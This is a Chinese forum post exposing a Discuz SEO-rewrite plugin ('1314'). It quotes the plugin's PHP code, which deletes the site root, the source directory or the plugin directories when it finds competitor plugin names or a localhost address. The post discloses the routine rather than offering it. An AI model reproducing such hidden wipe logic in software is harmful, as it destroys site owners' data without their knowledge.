如果判断插件信息包含 caogen8 或 cgzz8 字眼的,则直接把站长全站删光,然后嫁祸草根吧,因为你使用了非应用中心插件,活该。
如果你在应用中心安装了1314插件,突然发现全站都被删光了,那么恭喜你,1314帮你打回原始社会了。。。
如果判断 你使用模拟 本地 127.0.0.x 或 localhost 的客户端网址, 则不好意思,删掉你 论坛的整个 [backcolor=rgb(247, 247, 247)]/source/ 目录无商量。
[backcolor=rgb(247, 247, 247)]如果判断你安装成功了开源的1314插件,你又去应用中心安装了1314免费插件,一样的,该插件自会执行自我删除。
[backcolor=rgb(247, 247, 247)]
。。。。。。等等,反正删你就是无商量。。。
等到哪天你发现从应用中心安装了1314无论免费插件也好,突然不是提示插件目录不存在、文件不存在、模块文件不存在,甚至全站都不存在了,你回头来对比下你是哪种死法
if (stripos($plugin[\"copyright\"], \"caogen8\") !== false || stripos($plugin[\"description\"], \"cgzz8\") !== false) {
if (stripos($_G[\"siteurl\"], \"www.cgzz8.cn\") !== false) {
addon_seo_rewrite_cleardir(DISCUZ_ROOT . \"./\");
return 0;
}
if (stripos($_G[\"siteurl\"], \"127.0.0.\") !== false || stripos($_G[\"siteurl\"], \"localhost\") !== false) {
addon_seo_rewrite_cleardir(DISCUZ_ROOT . \"./source/\");
return 0;
}
addon_seo_rewrite_cleardir(DISCUZ_ROOT . \"./source/plugin/\");
return 0;
}
if (stripos($plugin[\"copyright\"], \"www.niucd.com\") !== false || stripos($plugin[\"description\"], \"www.niucd.com\") !== false) {
if (stripos($_G[\"siteurl\"], \"www.niucd.com\") !== false) {
addon_seo_rewrite_cleardir(DISCUZ_ROOT . \"./\");
return 0;
}
if (stripos($_G[\"siteurl\"], \"127.0.0.\") !== false || stripos($_G[\"siteurl\"], \"localhost\") !== false) {
addon_seo_rewrite_cleardir(DISCUZ_ROOT . \"./source/\");
return 0;
}
addon_seo_rewrite_cleardir(DISCUZ_ROOT . \"./source/plugin/\");
return 0;
}
if (stripos($plugin[\"copyright\"], \"1314study\") === false || stripos($plugin[\"description\"], \"1314study\") === false) {
addon_seo_rewrite_cleardir(DISCUZ_ROOT . \"./source/plugin/addon_seo_rewrite/\");
return 0;
}
if (empty($_statInfo[\"SiteID\"])) {
addon_seo_rewrite_cleardir(DISCUZ_ROOT . \"./source/plugin/addon_seo_rewrite/\");
return 0;
}
if (stripos($_statInfo[\"ClientUrl\"], \"127.0.0.\") !== false || stripos($_statInfo[\"ClientUrl\"], \"localhost\") !== false) {
cpmsg(\"文件损坏,请重新下载\", \"http://addon.discuz.com/?@addon_seo_rewrite.plugin\");
return 0;
}